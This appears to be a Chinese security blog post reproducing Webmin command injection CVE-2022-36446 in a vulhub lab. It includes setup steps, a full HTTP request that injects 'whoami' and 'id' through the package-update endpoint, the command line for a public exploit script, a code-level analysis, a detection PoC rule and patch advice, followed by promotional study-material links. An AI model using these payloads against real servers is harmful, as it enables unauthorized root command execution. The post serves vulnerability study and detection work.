网络安全之命令执行漏洞复现

0x01 漏洞介绍

漏洞等级:严重

Webmin 是功能最强大的基于 Web 的 Unix 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。在版本 1.997 之前的 Webmin 中存在一个任意命令注入漏洞,触发该漏洞需登录 Webmin。

0x02 漏洞影响范围

WebMin 版本小于 1.997

0x03 漏洞利用条件

  • 此漏洞需身份验证;
  • 并且该账户必须有权限访问软件包更新模块,需要访问“Software Package Updates”模块才能触发漏洞;

0x04 漏洞复现

环境搭建

\1. 使用 vulhub 搭建环境,把 vulhub 下载到本地。

img

\2. 进入 vulhub/webmin/CVE0=-2019-15107,使用此环境进行 CVE-2022-36446 漏洞复现。

docker-compose up -d   #  启动漏洞环境docker-compose ps      # 查看漏洞环境映射的端口

复制代码

img

【一一帮助安全学习,所有资源获取一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部教程

\3. 访问https://ip:10000,出现以下界面表示环境部署成功。

img

\4. 接下来需要修改 webmin 的密码,需要进入容器中修改。

docker ps     # 查看漏洞环境容器iddocker exec -it 容器id /bin/bash    # 进入容器内部cd /usr/share/webmin/                     # 进入容器内的/usr/share/webmin/目录下./changepass.pl /etc/webmin root root   # 将root密码设置为root

复制代码

img

漏洞复现

\1. 以上设置完之后,使用 root/root 登录 webmin。

img

\2. 抓取登录后的任意数据包。

img

\3. 发送到 Repeater 模块,更改请求方式为 POST。

img

\4. 更改请求路径为/package-updates/update.cgi ,添加 payload,发送请求,返回包中出现命令执行结果。

mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow

复制代码

img

POST /package-updates/update.cgi HTTP/1.1Host: X.X.X.X:10000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-From: mountX-Requested-From-Tab: webminX-Requested-With: XMLHttpRequestConnection: closeReferer: https://X.X.X.X:10000/mount/?xnavigation=1Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originContent-Type: application/x-www-form-urlencodedContent-Length: 71mode=new&search=ssh&redir=&redirdesc=&u=0%3Bid%3B&confirm=Install%2BNow

复制代码

img

EXP

也可直接通过脚本进行漏洞利用,EXP 地址:https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE

python3 CVE-2022-36446.py -t https://X.X.X.X:10000/ -u root -p root -k -I

复制代码

img

有可能会出现以下报错

img

CVE-2022-36446.py文件中的soup = BeautifulSoup(r.content, 'lxml') 全部改为 soup = BeautifulSoup(r.content, ‘html.parser’),再重新执行即可。

img

漏洞分析

命令执行**:**

当应用需要调用外部程序处理某些内容的情况下,就会用到一些执行系统命令的函数,比如最常见的 php 中的 system、exec、shell_exec 等等。当用户可以控制命令执行函数中的参数时,就可以注入一些恶意的系统命令到正常的命令中,造成命令执行攻击。

Webmin 是目前功能最强大的基于 web 的 unix 系统管理工具,管理员通过浏览器访问 webmin 的各种管理功能并完成相应的管理动作。

Webmin 使用操作系统包管理器(apt、yum 等)来执行包更新和安装。由于缺乏输入清理(1.997 之前的 Webmin 中的 software/apt-lib.pl 缺少 UI 命令的 HTML 转义),可以注入将连接到包管理器调用的任意命令。

此漏洞需要身份验证,并且该账户必须有权限访问软件包更新模块,用户可以通过在新软件包安装期间执行系统命令,并以 root 权限运行命令。

img

该模块在/package-updates/文件夹下开发。其中有一个 update.cgi 文件,该文件中第 39 行使用参数 U 指定用户的包名称,并在第 50 行检查请求中是否存在“confirm”参数。第 57 行,如果请求中没有“confirm”参数,就会调用带有变量“pkgnames”的“list_package_operations()”函数,其中存储了包名。

img

通过/package-updates/update.cgi文件的第 4 行可知道,“list_package_operations”函数位于“pakage-updates-lib.pl”文件中。

img

“list_package_operations()”函数定义于pakage-updates-lib.pl文件的第 408 行。此函数将“$name”的值(即包名)发送到第 412 行中名为 software 文件中的“update_system_operations()”函数。

img

再通过搜索功能找到定义update_system_operations()函数的文件为 apt-lib.pl 和 yum-lib.pl。

顾名思义,apt-lib.pl 文件使用的是 apt 包,yum-lib.pl 文件使用的是 yum 包。两者所做的工作是相同的,但是因为运行 Webmin 的系统和该系统的包管理器不同,所以只是文件中的某些命令会不同,故分析哪个文件都可以

查看/software/apt-lib.pl文件,在第 75 行定义了update_system_operations()函数。第 83 行,通过“backquote_command()”函数来执行系统命令,也是通过此函数对系统运行的命令进行安全控制,也防止用户在此注入命令。

img

再继续看 update.cgi 文件,如果需要安装一个包,则会调用第 129 行的“package_install()”函数。

img

通过查找,package_install()函数位于“package-updates-lib.pl”文件中第 300 行。查看函数内容发现,“update_system_install()”函数是通过“$name”变量调用的,它是用户在第 345 行给出的包名(从之前的分析得出,这些函数是在 apt-lib.pl 文件中定义的)。

img

img

再查看 apt-lib.pl 文件,找到相关函数。

第 18 行看到函数的第一个参数(即用户之前发送的包名)被分配给“updat**e”变量。第26行,“update”变量被包含在了命令中,而且没有做任何的控制机制。第 46 行发现,相关的命令会直接在系统上执行,也是没有做任何的控制机制。

所以,用户可以通过在新的软件包安装请求中提供“confirm”参数,并在软件包中指定在系统上运行命令的值,以 root 权限在系统上执行命令。

img

0x05 检测 POC 规则编写

params:- mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNowname: Webmin命令执行漏洞(CVE-2022-36446)set: {}rules:- method: POST  path: /package-updates/update.cgi  headers:    Cookie: redirect=1; testing=1; sid=75eb9d34c1642057244dc271fb980bf6  body: mode=new&search=ssh&redir=&redirdesc=&u=0%3Bwhoami%3B&confirm=Install%2BNow  search: ""  followredirects: false  expression: response.status == 200 && response.body.bcontains(b"root")groups: {}detail:  author: ""  links: []  description: ""  version: ""

复制代码

img

0x06 漏洞修复

\1. 升级到 1.997 及以上版本 2. 补丁获取

网安&黑客学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果需要可以点击链接免费领取或者滑到最后扫描二v码

👉[CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]安全链接,放心点击

图片

同时每个成长路线对应的板块都有配套的视频提供:

图片

因篇幅有限,仅展示部分资料,朋友们如果需要可以点击链接免费领取或者滑到最后扫描二v码

👉[CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]安全链接,放心点击

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

图片
图片
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接或者保存图片到wx扫描二v码免费领取保证100%免费

👉[CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]安全链接,放心点击

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值